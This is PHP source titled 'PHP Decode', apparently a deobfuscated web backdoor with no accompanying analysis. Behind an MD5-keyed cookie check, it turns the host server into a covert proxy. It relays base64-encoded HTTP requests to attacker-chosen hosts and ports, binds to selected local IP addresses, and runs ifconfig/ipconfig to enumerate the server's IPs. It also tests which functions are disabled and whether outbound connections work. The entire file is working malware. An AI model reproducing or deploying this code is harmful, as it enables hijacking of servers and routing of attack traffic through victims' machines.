PHP Decode

<?php 
 
	@ini_set('mbstring.http_output', 'UTF-8'); 
	@ini_set('mbstring.http_input', 'UTF-8'); 
 
	@mb_language('en'); 
	@mb_internal_encoding("UTF-8"); 
	@mb_regex_encoding("UTF-8"); 
 
 
	$key = 'f2c4890bba2ca9344b100b86962825af'; 
	$url = base64_decode($_GET['u']);	 
	$IfConfigIPs = array(); 
	$SocketIPs = array(); 
	$UnixIPs = array(); 
	$socket_msg = ""; 
	$t = 1; 
	$max_time = ini_get("max_execution_time"); 
	define ('BUF', 1024); 
	if (($_COOKIE['debug'] == '1') || ($_GET['debug'] == '1'))	$debug = 1; 
	if ($debug)	error_reporting(E_ALL ^ E_NOTICE); 
		else error_reporting(0);		 
		 
 
	if ($debug)	{ 
		echo '[php]Debug mode'; 
	} 
 
 
 
if ($debug)	{ 
	if (($_COOKIE['k'] != '' ) && (md5($_COOKIE['k']) != $key)) echo '[php]wrong key'; 
	if (($_GET['k'] != '' ) && (md5($_GET['k']) != $key)) echo '[php]wrong key'; 
 
} 
 
 
if ($debug) echo '[php]MaxTime:'. $max_time . "
"; 
 
 
 
	function FuncList(){ 
        $f = array("stream_context_create", "stream_socket_client", "base64_decode", "fgets"); 
        $df = ini_get('disable_functions'); 
        $df = explode(",",$df); 
 
        foreach ($f as $k=>$ff){ 
                #if (!function_exists($ff)) $a .= $k .":"; 
                if (in_array($ff , $df) == true) $d.= $k.':'; 
        } 
        return $d; 
 
	} 
 
	function getServerAddress() { 
	    if(isset($_SERVER["SERVER_ADDR"])) 
	    	return $_SERVER["SERVER_ADDR"]; 
	} 
 
	function socketClient($url, $ip = NULL, $t = 1){	 
		global $socket_msg; 
		if (function_exists('stream_context_create')){ 
		 $urll = parse_url($url); 
		 $tcp = "tcp://". $urll[host] .":80"; 
 
		if ($ip){ 
			$opts = array('socket' => array('bindto' => $ip . ':0')); 
			$context = stream_context_create($opts);		 
			$fp = @stream_socket_client($tcp, $errno, $errstr, $t, STREAM_CLIENT_CONNECT, $context);		 
		}else{ 
				$fp = @stream_socket_client($tcp, $errno, $errstr, $t, STREAM_CLIENT_CONNECT); 
		} 
			 
			 
		if (!$fp) { 
			$socket_msg = "[S]: $errstr ($errno)"; 
			return false; 
		     
		} else { 
			$s = ""; 
			$w = "GET ".$urll[path]. "?". $urll[query]. " HTTP/1.0
Host: ". $urll[host] ."
Accept: */*

"; 
		    fwrite($fp,$w); 
		    while (!feof($fp)) { 
		        $s.= fgets($fp, 1024); 
		    } 
		    list($head, $body) = explode("

", $s); 
		    fclose($fp); 
		    return $body; 
		} 
		}else{ 
			$socket_msg = '[S]:Socket:False' ; 
			return false; 
		} 
	} 
 
 
 
	function getServerAddressUnix() { 
	    if(isset($_SERVER["SERVER_ADDR"])) 
	    return $_SERVER["SERVER_ADDR"]; 
	    else { 
	      if(stristr(PHP_OS, 'WIN')) {         
	        exec('ipconfig /all', $catch); 
	        foreach($catch as $line) { 
	        if(eregi('IP Address', $line)) { 
	            if(count($lineCount = split(':', $line)) == 1) { 
	        	    list($t, $ip) = split(':', $line); 
	      	        $ip = trim($ip); 
	            } else { 
		            $parts = explode('IP Address', $line); 
		            $parts = explode('Subnet Mask', $parts[1]); 
		            $parts = explode(': ', $parts[0]); 
		            $ip = trim($parts[1]); 
	            } 
	            if(ip2long($ip > 0)) { 
	       	   	   if ($debug) echo 'IP is '.$ip."
"; 
	     	       return $ip; 
	            } else 
	            ;  
	        } 
	        } 
	    } else { 
	        $ifconfig = shell_exec('/sbin/ifconfig eth0'); 
	        preg_match('/addr:([\d\.]+)/', $ifconfig, $match); 
	        return $match[1]; 
	    } 
	    } 
	} 
 
 
	function getifconfigip(){ 
		 
		$ifs = array('/sbin/ifconfig', '/usr/sbin/ifconfig', '/usr/local/sbin/ifconfig', '/bin/ifconfig', '/usr/bin/ifconfig', '/usr/local/bin/ifconfig' ); 
		$content = array(); 
		foreach($ifs as $if){ 
		if(!@file_exists($if)) continue; 
		@exec($if, $content); 
		$ips = array(); 
		foreach($content as $line){ 
				if(preg_match('!(inet |inet addr:)(\d+)\.(\d+)\.(\d+)\.(\d+) .+?mask!i', $line, $ip)) { 
					$ip = "{$ip[2]}.{$ip[3]}.{$ip[4]}.{$ip[5]}"; 
					if($ip == '127.0.0.1') continue; 
					$ips[] = $ip; 
				} 
			} 
		} 
		return $ips; 
	} 
 
	 
 
 
 
if ((($_GET['a'] == 'ips') && (md5($_GET['k']) == $key) && (isset($_GET['u'])))){ 
		$IfConfigIPs = getifconfigip(); 
		 
		$UnixIPs = getServerAddressUnix(); 
 
 
		$SocketIPs[] =	getServerAddress(); 
		$p = explode('.', getServerAddress()); 
		$mask1 = 0;  
		$mask2 = round(($max_time-2)); 
				 
		if (($p[3] - $mask2) < 1) $s1 = 0; else $s1 = ($p[3] - $mask2); 
		if (($p[3] + $mask2) > 254) $s2 = 255; else $s2 = ($p[3] + $mask2); 
		 
		$ipt = $p[0] .".". $p[1] ."."; 
		for ($k = ($p[2] - $mask1); $k <= ($p[2]+$mask1) ; $k++) 
		for ($i = $s1; $i<=$s2; $i++){ 
			$ip = $ipt . $k . "." . $i; 
 
				$sip = socketClient($url, $ip); 
				#echo $sip . '<br>'; 
 
				if ((!($sip === false))&& ($sip <> getServerAddress()))  $SocketIPs[] = $sip; 
 
 
		} 
		 
		if (count($IfConfigIPs) > 0) $SocketIPs = array_merge($SocketIPs, $IfConfigIPs); 
		if (is_array($UnixIPs)) $SocketIPs = array_merge($SocketIPs, $UnixIPs); 
		else $SocketIPs[] = $UnixIPs; 
		 
		$SocketIPs = array_unique($SocketIPs); 
echo '['; 
foreach ($SocketIPs as $k=>$v) 
	echo $v , ','; 
echo ']'; 
} 
 
 
 
if (!empty($_COOKIE['d'])){ 	 
	if (md5($_COOKIE['k']) != $key) exit; 
	$ip = $_COOKIE['ip']; 
	if ($_COOKIE['ip'] == '8.8.8.8') $ip = ''; 
	 
	 
	$request = base64_decode($_POST['r']) . "
"; 
 
 
	#savelog("[REQUEST]
".$request); 
 
	if ($debug) 
		if (strpos($request, "keep-alive") === true) echo '[php]Keep-alive found' . "
"; 
 
	$keep_alive = array("Connection:keep-alive", "Connection: Keep-Alive", "Connection: keep-alive" ,  
		"Connection : keep-alive", "Connection : \"keep-alive\"" , "Connection:\"keep-alive\"" , "Connection: \"keep-alive\"" , 
		"Connection :\"keep-alive\"" , "Connection : Keep-alive", "Connection:Keep-alive"); 
	$request = str_replace($keep_alive , "Connection: close", $request); 
	$request = str_replace("Accept: */*" , "Accept: */*
Connection: close", $request); 
 
if ($debug) 
		if (strpos($request, "keep-alive") === true) echo '[php]Keep-alive found' . "
"; 
 
	if ($debug) print "[php][".$request."]
"; 
	#savelog("[REQUEST Update]
".$request);	 
	 
	if (($_COOKIE['p'] == 'socket') || ($_COOKIE['p'] == '')){ 
		if (($_COOKIE['port'] == '80') || ($_COOKIE['port'] == '8080')){ 
			$remote = "tcp://". $_COOKIE['d'] . ":80";	  
		}elseif (($_COOKIE['port'] == '443')){ 
			$remote = "tcp://". $_COOKIE['d'] . ":443";	  
		} 
		 
		if ($debug) print('[php]remote:'.$remote."
"); 
		 
		if (!empty($ip)){ 
 
			$opts = array('socket' => array('bindto' => $ip . ':0')); 
			$context = stream_context_create($opts);		 
			$fp = stream_socket_client($remote, $errno, $errstr, 25, STREAM_CLIENT_CONNECT, $context); 
			#logs('IP:'.$ip."
");			 
			if ($debug) print ('[php]IP:' . $ip . "
"); 
		}else{ 
			$fp = stream_socket_client($remote, $errno, $errstr, 25, STREAM_CLIENT_CONNECT); 
			if ($debug) print "[php]NO IP
"; 
 
		}  
		 #$fp = stream_socket_client($remote, $errno, $errstr, 30); 
		 
		if (!$fp) { 
		    if ($debug) "[php]$errstr ($errno)<br />
"; 
		    if ($debug)  "[php][".$remote."]
"; 
 
		} else { 
		    fwrite($fp, $request); 
		    $respond = ''; 
		    while (!feof($fp)){ 
		        $s = fgets($fp, BUF); 
		        $respond .= $s;       
		       #print($s);    
		    } 
		    #savelog("[Answer]
".$respond); 
 
		 #   $encoding = mb_detect_encoding($respond); 
		 #   echo '[php]Enc:' . $encoding  . '[/php]';	 
# 
#			if( $encoding !== "UTF-8" ) { 
# 
#			$respond = mb_convert_encoding($respond, "UTF-8", $encoding); 
#			     
#			} 
#			echo '[php]Enc.UTF:'. mb_detect_encoding($respond) .'[/php]';  
 
		    echo "[php][RES]" . base64_encode($respond) . "[/RES]
"; 
		    echo "[php]<MSG>done</MSG>"; 
		    fclose($fp); 
		    
		} 
	}elseif ($_COOKIE['p'] == 'curl'){ 
		#	CURL PROCESSING 
	} 
} 
 
 
function savelog($str){ 
	$filename = 'log.txt'; 
if (is_writable($filename)) { 
    if (!$handle = fopen($filename, 'a')) { 
        exit; 
    } 
    if (fwrite($handle, $str . "


") === FALSE) { 
         exit; 
    } 
    fclose($handle); 
 
	} else { 
	    echo "[php]The file $filename is not writable[/php]"; 
	} 
} 
 
function initconnect(){ 
	$fp = stream_socket_client("tcp://wikipedia.org:80", $errno, $errstr); 
	$request = "GET / HTTP/1.0
Host: www.wikipedia.org
Connection: close
Accept: */*

"; 
	if (!$fp) { 
    	echo "$errstr ($errno)<br />
"; 
	} else { 
	   fwrite($fp, $request); 
	   stream_set_timeout($fp, 3); 
		    $respond = ""; 
		    while (!feof($fp)){ 
		        $s = fgets($fp, BUF); 
		        $respond .= $s;      		        
		    } 
		#print_r($respond); 
		fclose($fp); 
	} 
 
	 if (1 != preg_match("/^HTTP\/[0-9\.]* ([0-9]{3}) ([^
]*)/", $respond, $matches)) { 
	 	return 'http-err'; 
	 } 
	 #print_r($matches); 
	 if ($matches[1] == '200') { 
	 	return 'http-ok'; 
	 } 
 
} 
 
if ($_GET['a'] == 'func'){ 
	 
	if (FuncList() == '') echo 'func-ok|'; else  
	echo ''.FuncList().']'; 
	echo initconnect(); 
 
	echo '|' . mb_internal_encoding() . ':'. mb_regex_encoding(); 
 
} ?>